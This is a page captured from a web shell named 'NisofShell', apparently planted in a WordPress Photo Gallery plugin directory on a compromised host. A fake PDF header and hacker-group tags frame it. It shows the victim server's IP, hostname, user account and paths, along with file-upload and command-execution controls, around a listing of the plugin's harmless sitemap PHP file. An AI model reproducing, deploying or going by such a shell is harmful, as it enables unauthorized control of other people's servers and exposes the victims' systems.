%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Nisof Was Here
NisofShell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.162
Web Server : Apache
System : Linux webm002.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : wellingtpa ( 97533)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wellingtpa/wellingtonrecord/wp-content/plugins/photo-gallery/framework/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/wellingtpa/wellingtonrecord/wp-content/plugins/photo-gallery/framework/WDWSitemap.php
<?php


final class WDWSitemap {
  /**
   * The single instance of the class.
   */
  protected static $_instance = null;

  private $images;

  /**
   * Main WDWSitemap Instance.
   *
   * Ensures only one instance is loaded or can be loaded.
   *
   * @static
   * @return BWG - Main instance.
   */
  public static function instance() {
    if ( is_null( self::$_instance ) ) {
      self::$_instance = new self();
    }
    return self::$_instance;
  }

  public function add_wpseo_xml_sitemap_images( $images, $post_id ) {
    $this->images = $images;

    $post = get_post($post_id);

    remove_all_shortcodes();
    if ( defined('ELEMENTOR_VERSION') && did_action( 'elementor/loaded' ) ) {
      \Elementor\Plugin::instance()->frontend->get_builder_content($post->ID);
    }
    add_shortcode('Best_Wordpress_Gallery', array($this, 'shortcode'));
    do_shortcode($post->post_content);

    return $this->images;
  }

  public function shortcode( $params = array() ) {
    if ( isset($params['id']) && $params['id'] ) {
      global $wpdb;
      $shortcode = $wpdb->get_var($wpdb->prepare("SELECT tagtext FROM " . $wpdb->prefix . "bwg_shortcode WHERE id='%d'", $params['id']));
      if ($shortcode) {
        $params = array_merge(WDWLibrary::parse_tagtext_to_array($shortcode), $params);
      }
      else {
        return;
      }
    }

    // 'gallery_type' is the only parameter not being checked.
    // Checking for incomplete shortcodes.
    $gallery_allowed_types = array(
      'thumbnails',
      'thumbnails_masonry',
      'thumbnails_mosaic',
      'slideshow',
      'image_browser',
      'blog_style',
      'carousel',
      'album_compact_preview',
      'album_masonry_preview',
      'album_extended_preview',
    );
    if ( isset($params['gallery_type']) && in_array($params['gallery_type'], $gallery_allowed_types) ) {
      $pairs = WDWLibrary::get_shortcode_option_params( $params );
      if ( isset($params['ajax']) ) {
        $pairs['ajax'] = $params['ajax'];
      }
      $images = $this->get_shortcode_images( $pairs );
      if ( is_array( $images ) ) {
        foreach ( $images as $image ) {
          if ( strpos($image->filetype, 'EMBED') === FALSE ) {
            $this->images[] = array(
              'src' => BWG()->upload_url . (isset($image->image_url_raw) ? $image->image_url_raw : $image->image_url),
              'title' => $image->alt,
              'alt' => $image->alt
            );
          }
        }
      }
    }
  }

  private function get_shortcode_images( $params ) {
    require_once(BWG()->plugin_dir . '/framework/WDWLibraryEmbed.php');
    require_once(BWG()->plugin_dir . '/frontend/controllers/controller.php');
    $controller = new BWGControllerSite( ucfirst( $params[ 'gallery_type' ] ) );
    return $controller->execute($params, 'xml_sitemap');
  }
}

Anon7 - 2022
AnonSec Team